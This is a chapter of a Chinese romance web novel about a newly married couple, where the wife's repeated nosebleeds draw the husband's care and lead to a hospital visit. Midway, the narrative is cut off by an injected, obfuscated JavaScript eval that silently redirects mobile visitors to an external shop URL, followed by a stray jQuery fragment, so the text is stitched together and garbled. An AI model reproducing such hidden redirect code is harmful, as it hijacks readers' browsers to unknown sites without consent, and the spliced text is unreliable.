文趣网 > 其他小说 > 泪潮 > 17. 秀色误人
    搬进翠显山的第一晚。

    姜栩整理好自己的部分行李,出来时正好碰上陆尽惟从浴室出来,墨发湿漉漉的,些微发梢还挂着水珠,滴入他松垮未系牢的浴袍上。

    视线顺着往下,盯住了他半片白皙精壮的胸膛。腹肌有型又漂亮,人鱼线显眼完美,挂着还没撇去的水珠,莫名性感。

    “看够了没有?”

    冷不丁一句话,打破她的视线黏着。

    “那不就是给人看的嘛……”她小声反驳,也没见他说完就收着不让看了。

    陆尽惟擦头发的手顿了一下,垂眸看着她的脸,仅几秒过后,他提醒:“你流鼻血了。”

    “你才流……”她一顿,感觉嘴唇上滑下一片湿濡,“啊,真流了!”

    条件反射般,她连忙抬手拦住流动的鼻血,然后仰头,阻止鼻血继续往下滑动。

    眼神不经意一瞥,恰好看到对面的人一脸笑意,来不及控诉他的笑容,只害怕鼻血沾到地板和衣服上,慌忙扯过他手里擦头发的毛巾,堵住自己的鼻子。

    “有什么好笑的!”

    她仰着头,瞪他。

    话落,她仰天的头被一只大掌按了回去,手上的毛巾也被夺走。

    “谁教你的仰头?”他语气还算和缓,用毛巾擦去血迹,“你以为仰头就能止血?”

    说完,拉着她往浴室走,打开水龙头,从一侧重新取了条毛巾,全部浸湿。

    湿冷的毛巾覆盖在鼻梁上,姜栩条件反射地往后仰,又被按了回来。离他很近,感觉再近一点,她就能直接亲他胸口去了。

    陆尽惟一直替她扶着毛巾,偶尔视线分神地看她的眼睛。

    姜栩眼神无处可去,一直盯着他的胸口似乎又不太好。

    现在回想,陆尽惟一定在心里觉得她就是个流氓花痴,因为他而流鼻血。

    她小声开口:“那什么,我自己拿着吧,你忙你的去。”

    陆尽惟没动,转头看了看身侧,为了配合她不仰头的高度,他直接坐在了旁边的小凳上,顺便把她往身前拉了拉。

    凳子不高不矮,陆尽惟坐上去,视线与她差不多平齐。

    他手上动作没断,淡淡开口:“没什么忙的,可别我一走你把血流干了。”

    姜栩:“……”

    “我只是没这么流过鼻血,又不是鼻孔里装了水龙头!”

    “那你之前是因为什么流鼻血?”他巧妙地问。

    姜栩迅速反应过来他问的是什么,脸上一热,“之前没流过。肯定是最近太干了上火。”

    沉默片刻,他移开毛巾,检查了一番是否再流血。

    等了一两分钟,确认没再流血,他才放下毛巾。

    掀起眼皮看向她,“就你这么上火,我怎么不上火?”

    “谁知道你什么体质……”听出话里的调侃,她没好气。

    对面一声轻笑,一只手抚上她的耳侧后。

    姜栩往后一躲,察觉到陆尽惟的目的,又恢复原样。

    陆尽惟顺势抽了两张湿纸巾,帮她把刚刚残留的血迹擦干净。

    在静谧的洗漱间里,两人都没打破这份宁静。

    觉得差不多时,姜栩抬眼,恰好看进他深邃的眼。

    或许是头顶明暖的灯光,或许是安静祥和的氛围,她第一次如此近距离地看进他的瞳仁里,不似平日那般幽深晦涩,反倒柔软许多,映着她的轮廓。

    她收回之前所想。

    即使眉眼相似,也完全是不一样的感情。

    “休息会儿再洗漱。”他打断她渐渐呆住的神态,起身离开。

    姜栩望着他的背影,惊觉刚刚心跳有点快。

    再从浴室出来,卧室里没有人。

    大概是在老爷子那里已经习惯,两人搬进翠显山时,都没有说分房睡的事,本想着整理完行李问一句,流鼻血打个岔又把这事儿忘了。

    起床的闹钟一响就是好几次,对她影响不大,对陆尽惟的攻击力更强。

    上次两人说了下这事,他没有表态,也没说不好,也没说分房,今晚她仍然拿不准。

    犹豫片刻,她还是决定正式问问。可别等会儿自己自作聪明,最后被他倒打一耙。

    刚出房门,与他撞个正着。

    “我们要分开睡吗?”她直接问。

    陆尽惟抬眸看她,语调淡然,“不用。”

    说完,绕过她进了主卧。

    姜栩转身跟着进去,“真不用?”

    陆尽惟弯腰在一侧床头柜上忙活一会儿,随即直起身子转过来,“你反复确认,就这么不乐意睡一起?”

    姜栩看他神色冷然,顿了一下,“不是,我起得早,闹钟很多,”随即心一横,“要是你被吵醒,可不能怪我!”

    “是你吵醒的还不能怪你?”

    “所以我们分开睡啊。”

    “没必要,”他还是拒绝,“爷爷虽然来得少,不代表他不来……况且,夫妻同床才合乎正常。”

    “来了再睡一起呗……”她嘀咕。

    陆尽惟没有答应,下巴示意床侧,“你就睡这边吧。”

    姜栩知道他已经决定,不再多说,简单在梳妆台前抹了几样护肤品,转身朝着大床走。

    陆尽惟已经半靠在床头,手里拿着一本写着歪七扭八外文的书。

    当她掀被上床时,发现床头多了个物件。

    加湿器正默默冒着缕缕薄雾,不会形成任何干扰。

    姜栩这才了然,刚刚陆尽惟在这侧捣鼓的是加湿器。

    她与他保持一样的躺靠姿势,语气和善:“谢谢啊,加湿器。”

    陆尽惟转头看了她一眼,淡淡嗯了一声,“在家里流鼻血就算了,别在外面随便看到个人就流鼻血,丢脸。”

    “又没丢你的脸。”

    “你是陆太太。”

    “别人又不知道。”

    “迟早的事。”

    姜栩说不过他,甚至觉得他无理取闹,没再继续纠缠。

    瞟了一眼他看的书,密密麻麻的字,像是长了枝丫的怪物,在张牙舞爪。

    好奇一问:“你看的什么语言的书?”

    “德文。”

    她点了点头,涉及到自己的知识盲区。

    “你会德语?”

    “不然看这书催眠吗?”

    “……”

    她被噎了一下,顺势躺下。

    本以为有加湿器加持,这一夜总该安然无恙。

    谁知半夜三点,闹钟还没响,她自己先醒了。

    不是被噩梦惊醒,也不是被什么动静吵醒,而是恍惚中感觉上唇处一片湿哒哒的感觉,鼻腔里更是有一股空洞的水流感。

    又来了。

    这回她没有仰头,学聪明地微微前倾,一手捏住鼻翼,连忙翻身摸索着下床。主卧的洗手间在进门左手边,她凭着记忆摸黑走过去,脚步繁忙,一不小心踢到了床脚,发出一声闷响。

    “唔……”

    她吃痛地弯下腰,鼻血顺着手指,滴落两滴在地板上。

    床头灯亮了。

    陆尽惟不知道什么时候坐了起来,床头灯昏黄的光落在他脸上,睡眼惺忪里带着一丝不耐。

    “又流了?”

    “……嗯。”她的声音闷闷的,捏着鼻子不敢松手。

    他动作很快,直接下了床,看到地上的血迹,皱了皱眉。

    姜栩以为他要说什么嫌弃的话,垂着眼没看他。他却什么都没说,抬手把她捏着鼻子的手拨开,看了一眼,又重新给她捏上。

    “走。”

    他带着她往洗手间走,开灯,取毛巾,打湿,动作

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17600192|205436||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    与第一回一模一样。

    姜栩靠在洗手台边,任由他把湿毛巾敷在自己鼻梁上,视线落在他光裸的手臂上。他睡前穿了件深色的睡衣,袖子被睡得卷了上去,露出一截结实的小臂。

    “看什么?”他没抬头,声音淡淡的。

    “没看什么。”

    “再看又要流了。”

    姜栩被他噎了一下,反驳道:“这说明我不是因为看你才流鼻血的。”

    “不否认你在乱看。”

    姜栩承认这个事实,没再说话。

    安静了一瞬,陆尽惟忽然开口:“白天去医院看看。”

    “不用吧,就是干……”

    他抬眼看她,带着一种不容商量的笃定,“明天让楚羽约个号,耳鼻喉科。”

    姜栩张了张嘴,没再坚持。

    她也觉得有点不对劲,一天之内流两次鼻血,再干也不至于这样吧。

    确认止血后,陆尽惟把脏毛巾丢进洗手池,转身去拿纸巾。她偷偷看了一眼地上的血迹,准备弯腰,刚蹲下去就被拽了起来。

    “我来,你待会儿又低头出血。”

    姜栩站着,看他自然地蹲下去,用纸巾仔细擦掉地板上的两滴暗红色血迹,心里忽然被撞了一下。

    等他站起来,把纸巾丢进垃圾桶,回头看她还站在原地发呆,挑了挑眉。

    “还不睡,等着流第三次?”

    姜栩回过神来,跟着他往回走。

    重新躺回床上,加湿器还在安静地吐着雾气。她侧过身,看向旁边已经闭眼的陆尽惟,轻声说了句“谢谢”。

    他没睁眼,也没应声。

    姜栩以为他睡着了,正准备翻身,听见他低低地说了两个字。

    “……快睡。”

    -

    第二天一醒来,姜栩摸了摸自己的鼻子,确认没有新的血迹,才松了口气。

    她随便拿了点早餐,直接去了公司。

    一天的培训刚结束,陆尽惟便打来电话:“培训结束了吗?”

    姜栩:“刚结束。”

    “你收拾好后直接下楼,楚羽已经在楼下等着,她跟你一起去医院。”

    “真要去啊?”

    “不然我闲的?”

    姜栩被他一句话堵了回来,忍不住小声嘟囔了一句:“看就看,凶什么。”

    电话那头安静了几秒,最终什么都没说。

    姜栩已经开始收拾桌面,问了一句:“去哪个医院?”

    “仁安。”他的语气温和了许多。

    到医院后,楚羽带着她直接去了耳鼻喉科。

    进入一间宽敞的诊室,医生是个四十多岁的女医生,胸牌上写着她的名字,姓沈,耳鼻喉科主任。

    问诊、检查、做鼻内镜,一套流程走下来,沈主任摘下眼镜,翻了翻检查报告。

    “没什么大问题,主要是最近太疲劳、作息不规律,导致身体应激反应比较明显,血压也稍微有点高。你本身鼻黏膜比较薄,换季干燥,毛细血管就破了。”

    姜栩松了口气。

    沈主任开了点药膏和喷雾,交代了用法,最后加了一句:“回去规律作息,别熬夜,比用什么药都管用。”

    姜栩点头笑了笑:“谢谢沈主任,我记住了。”

    出了诊室,楚羽去取药。姜栩站在走廊里,给陆尽惟发了条短信:【没什么问题,就是换季加上鼻黏膜比较薄才会这样。】

    那头没有回复,等楚羽取药回来,她才收到陆尽惟的消息:【还说了让你别熬夜,作息规律。】

    姜栩:【……楚羽怎么什么都说啊。】

    那头很快回复:【那是她的职责范围。】

    姜栩盯着看,正准备回复个表情包,那头又发来消息:【早点回去休息。】

    姜栩:【好。】